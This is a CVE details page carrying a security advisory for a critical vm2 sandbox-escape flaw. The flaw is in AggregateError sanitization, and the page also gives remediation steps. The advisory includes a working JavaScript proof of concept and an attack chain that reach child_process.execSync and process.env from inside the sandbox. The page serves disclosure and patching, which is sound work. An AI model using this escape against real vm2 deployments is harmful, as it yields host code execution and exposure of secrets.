CVE-2026-92934 — Vulnerability in vm2 — CVE Details
CRITICAL
vm2 sandbox escape to host RCE via revisited host-wrapped AggregateError bypassing Error sanitization cycle short-circuit
Published October 5, 2026Updated October 5, 2026Source: osv
Summary
## Summary
vm2 `3.11.6` (this fork's latest release) contains an incomplete-fix bypass of the Error.cause host-reference sanitization added in GHSA-m283-3h24-438v (commit `7e3faaf`). Sandbox code that catches a host-wrapped `AggregateError` which is *revisited within a single `handleException` traversal* (self-cycle, mutual-cycle, or the same host aggregate referenced twice in `errors[]`) receives a live, unsanitized host proxy inside the "sanitized" `errors[]`, yielding full host RCE on the throw channel that the fix and Defense Invariant #3 explicitly promise to sanitize.
## Root Cause
`handleException` (`lib/setup-sandbox.js`) breaks recursion cycles at line 1819 with `if (apply(localWeakMapGet, visited, [e])) return e;` — returning the RAW host carrier on revisit. For plain-`Error` carriers this is safe because `sanitizeErrorCause`/`sanitizeHostOwnProps` seal the host object **in place** on first visit. But `sanitizeAggregateError` (~1954-1972) snapshot-and-rebuilds host-wrapped carriers into a fresh `LocalAggregateError` and does NOT seal the original in place. When such a carrier is revisited within one traversal, line 1819 hands back the still-live raw host proxy, which the rebuild re-embeds via `sanitizedArr[sanitizedArr.length] = handleException(item, visited)` (line 1965) into the "sanitized" `errors[]`.
## Impact
Full host RCE (`child_process.execSync`) and host info disclosure (`process.env`, `.pid`) from within the vm2 sandbox — a complete sandbox escape on the caught-exception (throw) channel.
## Proof of Concept
```js
const {VM} = require('vm2');
const vm = new VM({ sandbox: { hostThrow(){
const shared = new AggregateError([], 'shared');
shared.leak = process; // incidental host ref
throw new AggregateError([shared, shared], 'all failed'); // same host obj twice
}}});
console.log(vm.run(`
try { hostThrow(); } catch (e) {
e.errors[1].leak.mainModule.require('child_process').execSync('id').toString();
}`)); // -> uid=1000(...) host RCE
```
Confirmed vectors (all return real `id` output): AggregateError self-cycle (`agg.errors=[agg]; agg.leak=process`), duplicate-in-array (`[shared,shared]`), mutual-cycle (`a.errors=[b]; b.errors=[a]`), and nested mutual/duplicated host sub-AggregateError.
## Attack Chain
1. **Entry** — embedder exposes a host function the sandbox invokes; it throws a host-wrapped `AggregateError` carrying a host reference in a rebuild-surviving slot plus a revisit trigger (`agg.errors=[agg]; agg.leak=process`). *Guard:* none at entry (throwing from an exposed host fn is normal). *Bypass proof:* same entry class as GHSA-m283-3h24-438v (embedder-exposed throwing fn, `docs/ATTACKS.md` Category 38), accepted in scope.
2. **Caught-exception sanitizer** — sandbox `try{hostThrow()}catch(e){…}`; transformer routes `e` through `handleException`. *Guard:* Defense Invariant #3 (Aggregate/Suppressed nested fields sanitized with cycle detection). *Bypass proof:* `handleException(agg)` marks `agg` visited (1820); proto-walk routes to `sanitizeAggregateError` (1865); host-wrapped branch reads `agg.errors` and calls `handleException(agg, visited)` on element 0 (1965); that inner call hits `visited.get(agg)===true` → `return e` (1819) → raw `agg` proxy pushed into `sanitizedArr` → becomes `newAgg.errors[0]`. The rebuild does NOT seal `agg` in place, so the returned proxy is fully live.
3. **Sink** — `e.errors[0].leak.mainModule.require('child_process').execSync('id')`. *Guard:* bridge `get` wraps host values. *Bypass proof:* the wrap is functional, not capability-restricting; instrumented trace shows `e.errors[0].isProxy===true` yet the chain executes and returns real `uid=1000(ubuntu)...`.
4. **Impact** — host RCE with host privileges; also `process.env`/`.pid` disclosure.
## Bypass Evidence
Executed on node v22.23, vm2 `3.11.6`:
- Baseline vector `throw new Error('x',{cause:process})` (plain Error `.cause`) → BLOCKED
- Plain Error own-prop `e.leak=process` (non-cyclic) → BLOCKED
- Non-cyclic host `AggregateError` w/ own-prop or single host sub-error leak → BLOCKED
- **AggregateError self-cycle / duplicate-in-array / mutual-cycle / nested → RCE (`uid=1000(ubuntu)…`)**
Every non-cyclic shape and the exact baseline `cause` vector are blocked; only the revisited host `AggregateError` leaks — proving the fix is present but this input shape evades it (INCOMPLETE FIX BYPASS, not a duplicate). Instrumented trace: `outerLeakType="undefined"` (outer rebuilt safe), `isErrors0Proxy=true` (element 0 is a live host proxy), `rce=uid=1000(ubuntu)…`.
## Affected Versions
`<= 3.11.6`. The bug exists from the sanitization fix (`7e3faaf`, tag `3.11.6`) onward — an incomplete-fix bypass exists only where the fix exists. `git diff 3.11.6 HEAD -- lib/setup-sandbox.js` is empty (HEAD identical).
## Scope Note
This advisory covers the **AggregateError** family only. A `SuppressedError` variant does NOT reproduce (`se.error` returns undefined; RCE blocked) and is excluded.
## Suggested Fix
On the cycle short-circuit (line 1819), return the memoized sandbox-realm *replacement* (keyed in `visited`) rather than the raw carrier; OR seal host-wrapped `AggregateError`/`SuppressedError` carriers in place *before* recursing into sub-errors, mirroring the plain-carrier `sanitizeHostOwnProps` invariant.
---
Reported by **zx (Jace)** — GitHub: @manus-use
Advisory Timeline
First published October 5, 2026 (6 days ago).
Last revised October 5, 2026 — 0 days after initial publication.
Remediation
Upgrade to the fixed version using your package manager.
npm
Update vm2 to 3.11.8 or later
npm install vm2@3.11.8
After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.
vm2 sandbox escape to host RCE via revisited host-wrapped AggregateError bypassing Error sanitization cycle short-circuit This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 9.0/10).
How do I check if my project is affected by CVE-2026-92934?
CVE-2026-92934 affects vm2. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-92934 and 200,000+ other known vulnerabilities.
Severity & Exploitability
CVSS Score
9.0
Exploitation is straightforward and causes maximum impact. Patch immediately.